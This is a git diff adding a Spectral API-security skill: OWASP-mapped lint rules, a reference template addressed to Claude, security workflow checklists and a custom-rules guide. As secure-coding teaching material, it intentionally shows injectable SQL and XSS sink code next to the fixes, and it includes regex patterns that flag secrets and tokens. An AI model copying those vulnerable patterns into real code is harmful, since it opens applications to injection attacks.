schema: + type: object + anyOf: + - required: [X-RateLimit-Limit] + - required: [X-Rate-Limit-Limit] + - required: [RateLimit-Limit] + message: "Document rate limiting headers to communicate resource consumption limits (OWASP API4:2023 - Unrestricted Resource Consumption)" + + pagination-parameters-present: + description: List operations should support pagination + severity: warn + given: $.paths[*].get + then: + - field: parameters + function: schema + functionOptions: + schema: + type: array + contains: + anyOf: + - properties: + name: + enum: [limit, per_page, page_size] + - properties: + name: + enum: [offset, page, cursor] + message: "List operations should support pagination (limit/offset or cursor) to prevent resource exhaustion (OWASP API4:2023)" + + # ============================================================================ + # API5:2023 - Broken Function Level Authorization + # ============================================================================ + + write-operations-require-security: + description: Write operations must have security requirements + severity: error + given: $.paths[*][post,put,patch,delete] + then: + - field: security + function: truthy + message: "Write operations must have security requirements to prevent unauthorized function access (OWASP API5:2023 - Broken Function Level Authorization)" + + admin-paths-require-security: + description: Admin endpoints must have strict security + severity: error + given: $.paths[?(@property =~ /admin/i)][*] + then: + - field: security + function: truthy + message: "Admin endpoints require security requirements with appropriate scopes (OWASP API5:2023)" + + # ============================================================================ + # API7:2023 - Server Side Request Forgery + # ============================================================================ + + no-url-parameters: + description: Avoid URL parameters to prevent SSRF attacks + severity: warn + given: $.paths[*][*].parameters[?(@.in == 'query' || @.in == 'body')][?(@.name =~ /(url|uri|link|callback|redirect|webhook)/i)] + then: + function: truthy + message: "URL parameters can enable SSRF attacks - validate and whitelist destination URLs (OWASP API7:2023 - Server Side Request Forgery)" + + # ============================================================================ + # API8:2023 - Security Misconfiguration + # ============================================================================ + + servers-use-https: + description: All API servers must use HTTPS + severity: error + given: $.servers[*].url + then: + function: pattern + functionOptions: + match: "^https://" + message: "Server URLs must use HTTPS protocol for secure communication (OWASP API8:2023 - Security Misconfiguration)" + + no-example-servers: + description: Replace example server URLs with actual endpoints + severity: error + given: $.servers[*].url + then: + function: pattern + functionOptions: + notMatch: "example\\.com" + message: "Replace example.com with actual production server URLs (OWASP API8:2023)" + + security-headers-in-responses: + description: Document security headers in responses + severity: info + given: $.paths[*][*].responses[*].headers + then: + function: schema + functionOptions: + schema: + type: object + anyOf: + - required: [X-Content-Type-Options] + - required: [X-Frame-Options] + - required: [Strict-Transport-Security] + - required: [Content-Security-Policy] + message: "Consider documenting security headers (X-Content-Type-Options, X-Frame-Options, HSTS, CSP) (OWASP API8:2023)" + + # ============================================================================ + # API9:2023 - Improper Inventory Management + # ============================================================================ + + api-version-required: + description: API specification must include version + severity: error + given: $.info + then: + - field: version + function: truthy + message: "API version must be specified for proper inventory management (OWASP API9:2023 - Improper Inventory Management)" + + semantic-versioning-format: + description: Use semantic versioning for API versions + severity: warn + given: $.info.version + then: + function: pattern + functionOptions: + match: "^\\d+\\.\\d+(\\.\\d+)?$" + message: "Use semantic versioning format (MAJOR.MINOR.PATCH) for API versions (OWASP API9:2023)" + + contact-info-required: + description: API must include contact information + severity: warn + given: $.info + then: + - field: contact + function: truthy + message: "Include contact information for API support and security reporting (OWASP API9:2023)" + + deprecated-endpoints-documented: + description: Deprecated endpoints must document migration path + severity: warn + given: $.paths[*][*][?(@.deprecated == true)] + then: + - field: description + function: pattern + functionOptions: + match: "(deprecate|migrate|alternative|replacement|use instead)" + message: "Deprecated endpoints must document migration path and timeline (OWASP API9:2023)" + + # ============================================================================ + # API10:2023 - Unsafe Consumption of APIs + # ============================================================================ + + validate-external-api-responses: + description: Document validation of external API responses + severity: info + given: $.paths[*][*].responses[*].content[*].schema + then: + - field: description + function: truthy + message: "Document schema validation for all API responses, especially from external APIs (OWASP API10:2023 - Unsafe Consumption of APIs)" + + # ============================================================================ + # Additional Security Best Practices + # ============================================================================ + + no-pii-in-query-parameters: + description: Prevent PII exposure in URL query parameters + severity: error + given: $.paths[*][*].parameters[?(@.in == 'query')].name + then: + function: pattern + functionOptions: + notMatch: "(?i)(ssn|social.?security|credit.?card|password|secret|token|api.?key|private|passport|driver.?license)" + message: "Query parameters must not contain PII or sensitive data - use request body with HTTPS instead" + + consistent-error-response-format: + description: Error responses should follow consistent format + severity: warn + given: $.paths[*][*].responses[?(@property >= '400')].content.application/json.schema + then: + function: schema + functionOptions: + schema: + type: object + required: [error, message] + message: "Error responses should follow consistent format with 'error' and 'message' fields" + + no-verbose-error-details: + description: 5xx errors should not expose internal details + severity: warn + given: $.paths[*][*].responses[?(@property >= '500')].content[*].schema.properties + then: + function: schema + functionOptions: + schema: + type: object + not: + anyOf: + - required: [stack_trace] + - required: [stackTrace] + - required: [debug_info] + message: "5xx error responses should not expose stack traces or internal details in production" diff --git a/skills/appsec/api-spectral/references/EXAMPLE.md b/skills/appsec/api-spectral/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/appsec/api-spectral/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/appsec/api-spectral/references/WORKFLOW_CHECKLIST.md b/skills/appsec/api-spectral/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/appsec/api-spectral/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/appsec/api-spectral/references/custom_rules_guide.md b/skills/appsec/api-spectral/references/custom_rules_guide.md new file mode 100644 index 0000000..a2cc32d --- /dev/null +++ b/skills/appsec/api-spectral/references/custom_rules_guide.md @@ -0,0 +1,553 @@ +# Spectral Custom Rules Development Guide + +This guide covers creating custom security rules for Spectral to enforce organization-specific API security standards. + +## Table of Contents + +- [Rule Structure](#rule-structure) +- [JSONPath Expressions](#jsonpath-expressions) +- [Built-in Functions](#built-in-functions) +- [Security Rule Examples](#security-rule-examples) +- [Testing Custom Rules](#testing-custom-rules) +- [Best Practices](#best-practices) + +## Rule Structure + +Every Spectral rule consists of: + +```yaml +rules: + rule-name: + description: Human-readable description + severity: error|warn|info|hint + given: JSONPath expression targeting specific parts of spec + then: + - field: property to check (optional) + function: validation function + functionOptions: function-specific options + message: Error message shown when rule fails +``` + +### Severity Levels + +- **error**: Critical security issues that must be fixed +- **warn**: Important security recommendations +- **info**: Best practices and suggestions +- **hint**: Style guide and documentation improvements + +## JSONPath Expressions + +### Basic Path Selection + +```yaml +# Target all paths +given: $.paths[*] + +# Target all GET operations +given: $.paths[*].get + +# Target all HTTP methods +given: $.paths[*][get,post,put,patch,delete] + +# Target security schemes +given: $.components.securitySchemes[*] + +# Target all schemas +given: $.components.schemas[*] +``` + +### Advanced Filters + +```yaml +# Filter by property value +given: $.paths[*][?(@.security)] + +# Filter objects by type +given: $.components.schemas[?(@.type == 'object')] + +# Filter parameters by location +given: $.paths[*][*].parameters[?(@.in == 'query')] + +# Regular expression matching +given: $.paths[*][*].parameters[?(@.name =~ /^(id|.*_id)$/i)] + +# Nested property access +given: $.paths[*][*].responses[?(@property >= 400)] +``` + +## Built-in Functions + +### truthy / falsy + +Check if field exists or doesn't exist: + +```yaml +# Require field to exist +then: + - field: security + function: truthy + +# Require field to not exist +then: + - field: additionalProperties + function: falsy +``` + +### pattern + +Match string against regex pattern: + +```yaml +# Match HTTPS URLs +then: + function: pattern + functionOptions: + match: "^https://" + +# Ensure no sensitive terms +then: + function: pattern + functionOptions: + notMatch: "(password|secret|api[_-]?key)" +``` + +### enumeration + +Restrict to specific values: + +```yaml +# Require specific auth types +then: + field: type + function: enumeration + functionOptions: + values: [apiKey, oauth2, openIdConnect] +``` + +### length + +Validate string/array length: + +```yaml +# Minimum description length +then: + field: description + function: length + functionOptions: + min: 10 + max: 500 +``` + +### schema + +Validate against JSON Schema: + +```yaml +# Require specific object structure +then: + function: schema + functionOptions: + schema: + type: object + required: [error, message] + properties: + error: + type: string + message: + type: string +``` + +### alphabetical + +Ensure alphabetical ordering: + +```yaml +# Require alphabetically sorted tags +then: + field: tags + function: alphabetical +``` + +## Security Rule Examples + +### Prevent PII in URL Parameters + +```yaml +no-pii-in-query-params: + description: Query parameters must not contain PII + severity: error + given: $.paths[*][*].parameters[?(@.in == 'query')].name + then: + function: pattern + functionOptions: + notMatch: "(?i)(ssn|social.?security|credit.?card|password|passport|driver.?license|tax.?id|national.?id)" + message: "Query parameter names suggest PII - use request body instead" +``` + +### Require API Key for Authentication + +```yaml +require-api-key-security: + description: APIs must use API key authentication + severity: error + given: $.components.securitySchemes + then: + function: schema + functionOptions: + schema: + type: object + minProperties: 1 + patternProperties: + ".*": + anyOf: + - properties: + type: + const: apiKey + - properties: + type: + const: oauth2 + - properties: + type: + const: openIdConnect + message: "API must define apiKey, OAuth2, or OpenID Connect security" +``` + +### Enforce Rate Limiting Headers + +```yaml +rate-limit-headers-present: + description: Responses should include rate limit headers + severity: warn + given: $.paths[*][get,post,put,patch,delete].responses[?(@property == '200' || @property == '201')].headers + then: + function: schema + functionOptions: + schema: + type: object + anyOf: + - required: [X-RateLimit-Limit] + - required: [X-Rate-Limit-Limit] + message: "Include rate limit headers (X-RateLimit-Limit, X-RateLimit-Remaining) in success responses" +``` + +### Detect Missing Authorization for Sensitive Operations + +```yaml +sensitive-operations-require-security: + description: Sensitive operations must have security requirements + severity: error + given: $.paths[*][post,put,patch,delete] + then: + - field: security + function: truthy + message: "Write operations must have security requirements defined" +``` + +### Prevent Verbose Error Messages + +```yaml +no-verbose-error-responses: + description: Error responses should not expose internal details + severity: warn + given: $.paths[*][*].responses[?(@property >= 500)].content.application/json.schema.properties + then: + function: schema + functionOptions: + schema: + type: object + not: + anyOf: + - required: [stack_trace] + - required: [stackTrace] + - required: [debug_info] + - required: [internal_message] + message: "5xx error responses should not expose stack traces or internal details" +``` + +### Require Audit Fields in Schemas + +```yaml +require-audit-fields: + description: Data models should include audit fields + severity: info + given: $.components.schemas[?(@.type == 'object' && @.properties)] + then: + function: schema + functionOptions: + schema: + type: object + properties: + properties: + type: object + anyOf: + - required: [created_at, updated_at] + - required: [createdAt, updatedAt] + message: "Consider adding audit fields (created_at, updated_at) to data models" +``` + +### Detect Insecure Content Types + +```yaml +no-insecure-content-types: + description: Avoid insecure content types + severity: warn + given: $.paths[*][*].requestBody.content + then: + function: schema + functionOptions: + schema: + type: object + not: + required: [text/html, text/xml, application/x-www-form-urlencoded] + message: "Prefer application/json over 